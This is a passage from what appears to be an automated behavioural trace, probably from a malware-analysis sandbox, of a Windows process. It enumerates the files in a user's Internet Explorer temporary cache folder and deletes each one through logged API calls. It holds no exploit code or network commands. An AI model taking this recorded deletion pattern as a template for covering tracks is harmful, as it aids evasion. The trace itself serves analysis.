pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\ie8[1].txt") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\ie8[1].txt" [0104.141] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\ie8[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\g003hd4d\\ie8[1].txt")) returned 1 [0104.141] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcf986540, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcf986540, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcfd3e7a0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0xec854, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="jslibraries[1]", cAlternateFileName="JSLIBR~1")) returned 1 [0104.141] lstrlenW (lpString="jslibraries[1]") returned 14 [0104.141] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D", pszFile="jslibraries[1]" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\jslibraries[1]") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\jslibraries[1]" [0104.141] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\jslibraries[1]" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\g003hd4d\\jslibraries[1]")) returned 1 [0104.143] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcfa6ad80, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcfa6ad80, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcfa6ad80, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x560, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="js[1]", cAlternateFileName="JS_1_~1")) returned 1 [0104.143] lstrlenW (lpString="js[1]") returned 5 [0104.143] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D", pszFile="js[1]" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\js[1]") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\js[1]" [0104.143] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\js[1]" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\g003hd4d\\js[1]")) returned 1 [0104.144] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x193127a0, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x193127a0, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x193127a0, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x4c8, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="js[2]", cAlternateFileName="JS_2_~1")) returned 1 [0104.144] lstrlenW (lpString="js[2]") returned 5 [0104.144] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D", pszFile="js[2]" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\js[2]") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\js[2]" [0104.144] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\js[2]" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\g003hd4d\\js[2]")) returned 1 [0104.144] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x19599f00, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x19599f00, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x19599f00, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x561, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="js[3]", cAlternateFileName="JS_3_~1")) returned 1 [0104.144] lstrlenW (lpString="js[3]") returned 5 [0104.144] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D", pszFile="js[3]" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\js[3]") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\js[3]" [0104.144] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\js[3]" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\g003hd4d\\js[3]")) returned 1 [0104.146] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1a93d480, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x1a93d480, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x1a9635e0, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x4c9, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="js[4]", cAlternateFileName="JS_4_~1")) returned 1 [0104.147] lstrlenW (lpString="js[4]") returned 5 [0104.147] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D", pszFile="js[4]" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\js[4]") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\js[4]" [0104.147] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\js[4]" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\g003hd4d\\js[4]")) returned 1 [0104.147] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd10497a0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd10497a0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd10497a0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x23, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="log[1].gif", cAlternateFileName="LOG_1_~1.GIF")) returned 1 [0104.147] lstrlenW (lpString="log[1].gif") returned 10 [0104.147] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D", pszFile="log[1].gif" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\log[1].gif") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\log[1].gif" [0104.147] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\log[1].gif" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\g003hd4d\\log[1].gif")) returned 1 [0104.149] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcf0e5580, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcf0e5580, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcf1579a0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x1a114, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="MemMDL2.2.17[1].eot", cAlternateFileName="MEMMDL~1.EOT")) returned 1 [0104.149] lstrlenW (lpString="MemMDL2.2.17[1].eot") returned 19 [0104.149] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D", pszFile="MemMDL2.2.17[1].eot" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\MemMDL2.2.17[1].eot") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\MemMDL2.2.17[1].eot" [0104.149] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\MemMDL2.2.17[1].eot" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\g003hd4d\\memmdl2.2.17[1].eot")) returned 1 [0104.262] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb9f47da0, ftCreationTime.dwHighDateTime=0x1d2fb13, ftLastAccessTime.dwLowDateTime=0xb9f47da0, ftLastAccessTime.dwHighDateTime=0x1d2fb13, ftLastWriteTime.dwLowDateTime=0xb9fba1c0, ftLastWriteTime.dwHighDateTime=0x1d2fb13, nFileSizeHigh=0x0, nFileSizeLow=0x2fe7, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="nav_logo229[1].png", cAlternateFileName="NAV_LO~1.PNG")) returned 1 [0104.262] lstrlenW (lpString="nav_logo229[1].png") returned 18 [0104.262] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D", pszFile="nav_logo229[1].png" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\nav_logo229[1].png") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\nav_logo229[1].png" [0104.262] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\nav_logo229[1].png" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\g003hd4d\\nav_logo229[1].png")) returned 1 [0104.265] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcfa44c20, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcfa44c20, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcfa6ad80, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x11bf, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="pixels[1].htm", cAlternateFileName="PIXELS~1.HTM")) returned 1 [0104.265] lstrlenW (lpString="pixels[1].htm") returned 13 [0104.265] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D", pszFile="pixels[1].htm" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\pixels[1].htm") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\pixels[1].htm" [0104.265] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\pixels[1].htm" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\g003hd4d\\pixels[1].htm")) returned 1 [0104.266] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcf36cce0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcf36cce0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcf3df100, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="print[1].txt", cAlternateFileName="PRINT_~1.TXT")) returned 1 [0104.266] lstrlenW (lpString="print[1].txt") returned 12 [0104.266] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D", pszFile="print[1].txt" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\print[1].txt") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\print[1].txt" [0104.266] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\print[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\g003hd4d\\print[1].txt")) returned 1 [0104.266] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd11ec6c0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd11ec6c0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd11ec6c0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0xab2, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="REZlo1[1].png", cAlternateFileName="REZLO1~1.PNG")) returned 1 [0104.266] lstrlenW (lpString="REZlo1[1].png") returned 13 [0104.266] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D", pszFile="REZlo1[1].png" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\REZlo1[1].png") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\REZlo1[1].png" [0104.266] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\REZlo1[1].png" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\g003hd4d\\rezlo1[1].png")) returned 1 [0104.267] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd7fa700, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcd7fa700, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcd7fa700, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x16285, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="Standard[1]", cAlternateFileName="STANDA~1")) returned 1 [0104.267] lstrlenW (lpString="Standard[1]") returned 11 [0104.267] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D", pszFile="Standard[1]" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\Standard[1]") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\Standard[1]" [0104.267] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\Standard[1]" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\g003hd4d\\standard[1]")) returned 1 [0104.267] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd7fa700, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcd7fa700, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcd7fa700, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x16285, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="Standard[2]", cAlternateFileName="STANDA~2")) returned 1 [0104.267] lstrlenW (lpString="Standard[2]") returned 11 [0104.267] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D", pszFile="Standard[2]" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\Standard[2]") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\Standard[2]" [0104.267] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\Standard[2]" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\g003hd4d\\standard[2]")) returned 1 [0104.267] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2000, ftCreationTime.dwLowDateTime=0xcd6577e0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcd6577e0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcd6577e0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="thirdparty[1]", cAlternateFileName="THIRDP~1")) returned 1 [0104.267] lstrlenW (lpString="thirdparty[1]") returned 13 [0104.267] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D", pszFile="thirdparty[1]" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\thirdparty[1]") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\thirdparty[1]" [0104.267] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\thirdparty[1]" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\g003hd4d\\thirdparty[1]")) returned 1 [0104.268] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd19cefa0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd19cefa0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd19cefa0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x31f, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="trpx[1].gif", cAlternateFileName="TRPX_1~1.GIF")) returned 1 [0104.268] lstrlenW (lpString="trpx[1].gif") returned 11 [0104.268] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D", pszFile="trpx[1].gif" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\trpx[1].gif") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\trpx[1].gif" [0104.268] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\trpx[1].gif" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\g003hd4d\\trpx[1].gif")) returned 1 [0104.271] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd207000, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcd207000, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcd2eb840, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0xa33, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="uid[1].htm", cAlternateFileName="UID_1_~1.HTM")) returned 1 [0104.271] lstrlenW (lpString="uid[1].htm") returned 10 [0104.271] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D", pszFile="uid[1].htm" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\uid[1].htm") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\uid[1].htm" [0104.271] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\uid[1].htm" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\g003hd4d\\uid[1].htm")) returned 1 [0104.273] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd0a2ff40, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd0a2ff40, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd0a2ff40, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x2b, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="u[1].gif", cAlternateFileName="U_1_~1.GIF")) returned 1 [0104.273] lstrlenW (lpString="u[1].gif") returned 8 [0104.273] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D", pszFile="u[1].gif" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\u[1].gif") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\u[1].gif" [0104.273] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\u[1].gif" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\g003hd4d\\u[1].gif")) returned 1 [0104.309] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x19527ae0, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x19527ae0, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x19527ae0, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x2ffa, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="v2[1]", cAlternateFileName="V2_1_~1")) returned 1 [0104.309] lstrlenW (lpString="v2[1]") returned 5 [0104.309] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D", pszFile="v2[1]" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\v2[1]") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\v2[1]" [0104.309] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\v2[1]" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\g003hd4d\\v2[1]")) returned 1 